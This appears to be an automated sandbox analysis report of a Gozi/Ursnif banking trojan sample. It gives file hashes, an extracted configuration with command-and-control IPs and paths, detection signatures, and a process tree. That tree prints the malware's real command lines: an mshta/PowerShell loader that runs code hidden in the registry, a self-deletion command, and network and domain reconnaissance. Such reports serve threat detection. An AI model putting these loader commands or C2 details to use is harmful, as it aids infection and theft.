Analysis

  • max time kernel
    152s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    22/03/2022, 15:41

General

  • Target

    d41d05cc157f874f89c574c74c0e2c58.exe

  • Size

    739KB

  • MD5

    d41d05cc157f874f89c574c74c0e2c58

  • SHA1

    1e0df409d72db144f570b9d8410b544c8670e64d

  • SHA256

    0d4702dec67009d0728ce6da88bd91bf5e70a526cf0688cc7c7586937cf06cb2

  • SHA512

    fa36e9217d4af43d14870e0fdc380e3ce25674ca0ff55faba604e3b025be06e9c01fadb2807a6809962defc353ca21ea85218115e3624961d6989484115f20ba

Malware Config

Extracted

Family

gozi_ifsb

Botnet

777999

C2

config.edge.skype.com

146.70.35.138

146.70.35.142

Attributes
  • base_path

    /phpadmin/

  • build

    250225

  • exe_type

    loader

  • extension

    .src

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi_ifsb

Botnet

777999

C2

config.edge.skype.com

67.43.234.14

67.43.234.37

67.43.234.47

Attributes
  • base_path

    /images/

  • build

    250225

  • exe_type

    worker

  • extension

    .src

  • server_id

    50

rsa_pubkey.plain
aes.plain
rsa_pubkey.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

  • suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

  • suricata: ET MALWARE Ursnif Variant CnC Beacon

    suricata: ET MALWARE Ursnif Variant CnC Beacon

  • suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

    suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

  • suricata: ET MALWARE Ursnif Variant CnC Data Exfil

    suricata: ET MALWARE Ursnif Variant CnC Data Exfil

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3944
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:3752
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3428
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3032
          • C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe
            "C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1268
            • C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe
              "C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe"
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1648
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Dsq4='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dsq4).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\3B357854-5E29-2581-409F-72297443C66D\\\PlayStop'));if(!window.flag)close()</script>"
            2⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4748
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name rnxokhs -value gp; new-alias -name ciaisbj -value iex; ciaisbj ([System.Text.Encoding]::ASCII.GetString((rnxokhs "HKCU:Software\AppDataLow\Software\Microsoft\3B357854-5E29-2581-409F-72297443C66D").StopLocal))
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1464
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f52evw42\f52evw42.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3680
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC0DC.tmp" "c:\Users\Admin\AppData\Local\Temp\f52evw42\CSC7C797FB70504A3AADFE5CB713FF399D.TMP"
                  5⤵
                    PID:3864
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hvjrxi0u\hvjrxi0u.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:208
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC1B7.tmp" "c:\Users\Admin\AppData\Local\Temp\hvjrxi0u\CSCF687E3C2E95F45A4B0A5E441CCFA80AC.TMP"
                    5⤵
                      PID:2044
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\d41d05cc157f874f89c574c74c0e2c58.exe"
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:5092
                • C:\Windows\system32\PING.EXE
                  ping localhost -n 5
                  3⤵
                  • Runs ping.exe
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  PID:3440
              • C:\Windows\system32\cmd.exe
                cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\96B8.bi1"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4524
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:1308
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\96B8.bi1"
                  2⤵
                    PID:3548
                  • C:\Windows\system32\cmd.exe
                    cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3224
                    • C:\Windows\system32\systeminfo.exe
                      systeminfo.exe
                      3⤵
                      • Gathers system information
                      PID:4256
                  • C:\Windows\syswow64\cmd.exe
                    "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                    2⤵
                      PID:1036
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                      2⤵
                        PID:4156
                      • C:\Windows\system32\cmd.exe
                        cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1572
                        • C:\Windows\system32\net.exe
                          net view
                          3⤵
                          • Discovers systems in the same network
                          PID:3076
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                        2⤵
                          PID:3412
                        • C:\Windows\system32\cmd.exe
                          cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                          2⤵
                            PID:2360
                            • C:\Windows\system32\nslookup.exe
                              nslookup 127.0.0.1
                              3⤵
                                PID:428
                            • C:\Windows\system32\cmd.exe
                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                              2⤵
                                PID:4860
                              • C:\Windows\system32\cmd.exe
                                cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                2⤵
                                  PID:2688
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist.exe /SVC
                                    3⤵
                                    • Enumerates processes with tasklist
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3560
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                  2⤵
                                    PID:3620
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                    2⤵
                                      PID:5068
                                      • C:\Windows\system32\driverquery.exe
                                        driverquery.exe
                                        3⤵
                                          PID:1528
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                        2⤵
                                          PID:948
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                          2⤵
                                            PID:868
                                            • C:\Windows\system32\reg.exe
                                              reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                              3⤵
                                                PID:4732
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                              2⤵
                                                PID:3696
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                2⤵
                                                  PID:220
                                                  • C:\Windows\system32\net.exe
                                                    net config workstation
                                                    3⤵
                                                      PID:1812
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 config workstation
                                                        4⤵
                                                          PID:2584
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                      2⤵
                                                        PID:2072
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                        2⤵
                                                          PID:4208
                                                          • C:\Windows\system32\nltest.exe
                                                            nltest /domain_trusts
                                                            3⤵
                                                              PID:4080
                                                          • C:\Windows\system32\cmd.exe
                                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                            2⤵
                                                              PID:4852
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                              2⤵
                                                                PID:4264
                                                                • C:\Windows\system32\nltest.exe
                                                                  nltest /domain_trusts /all_trusts
                                                                  3⤵
                                                                    PID:3592
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                                  2⤵
                                                                    PID:3572
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                                    2⤵
                                                                      PID:4524
                                                                      • C:\Windows\system32\net.exe
                                                                        net view /all /domain
                                                                        3⤵
                                                                        • Discovers systems in the same network
                                                                        PID:1660
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                                      2⤵
                                                                        PID:3972
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                                        2⤵
                                                                          PID:2788
                                                                          • C:\Windows\system32\net.exe
                                                                            net view /all
                                                                            3⤵
                                                                            • Discovers systems in the same network
                                                                            PID:3616
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                                          2⤵
                                                                            PID:980
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\48C0.bin1 > C:\Users\Admin\AppData\Local\Temp\48C0.bin & del C:\Users\Admin\AppData\Local\Temp\48C0.bin1"
                                                                            2⤵
                                                                              PID:1800

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v6

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • memory/1036-164-0x0000000000B26B20-0x0000000000B26B24-memory.dmp

                                                                                  Filesize

                                                                                  4B

                                                                                • memory/1036-165-0x00000000015A0000-0x000000000164A000-memory.dmp

                                                                                  Filesize

                                                                                  680KB

                                                                                • memory/1464-149-0x000001CE6D980000-0x000001CE6D9C4000-memory.dmp

                                                                                  Filesize

                                                                                  272KB

                                                                                • memory/1464-134-0x000001CE6D500000-0x000001CE6D522000-memory.dmp

                                                                                  Filesize

                                                                                  136KB

                                                                                • memory/1464-136-0x000001CE6D570000-0x000001CE6D572000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1464-135-0x00007FFE88800000-0x00007FFE892C1000-memory.dmp

                                                                                  Filesize

                                                                                  10.8MB

                                                                                • memory/1464-137-0x000001CE6D573000-0x000001CE6D575000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1464-138-0x000001CE6D576000-0x000001CE6D578000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1648-132-0x0000000000400000-0x000000000040D000-memory.dmp

                                                                                  Filesize

                                                                                  52KB

                                                                                • memory/1648-130-0x0000000000400000-0x000000000040D000-memory.dmp

                                                                                  Filesize

                                                                                  52KB

                                                                                • memory/3032-153-0x0000000002140000-0x0000000002141000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/3032-154-0x00000000080B0000-0x0000000008168000-memory.dmp

                                                                                  Filesize

                                                                                  736KB

                                                                                • memory/3428-150-0x0000022B56A00000-0x0000022B56A01000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/3428-155-0x0000022B56940000-0x0000022B569F8000-memory.dmp

                                                                                  Filesize

                                                                                  736KB

                                                                                • memory/3440-152-0x00000192B8590000-0x00000192B8591000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/3440-161-0x00000192B84D0000-0x00000192B8588000-memory.dmp

                                                                                  Filesize

                                                                                  736KB

                                                                                • memory/3752-158-0x00000204B1050000-0x00000204B1051000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/3752-159-0x00000204B1960000-0x00000204B1A18000-memory.dmp

                                                                                  Filesize

                                                                                  736KB

                                                                                • memory/3944-151-0x0000016A15840000-0x0000016A15841000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/3944-160-0x0000016A15C10000-0x0000016A15CC8000-memory.dmp

                                                                                  Filesize

                                                                                  736KB

                                                                                • memory/5092-156-0x000001F1BFA30000-0x000001F1BFA31000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/5092-157-0x000001F1BFC60000-0x000001F1BFD18000-memory.dmp

                                                                                  Filesize

                                                                                  736KB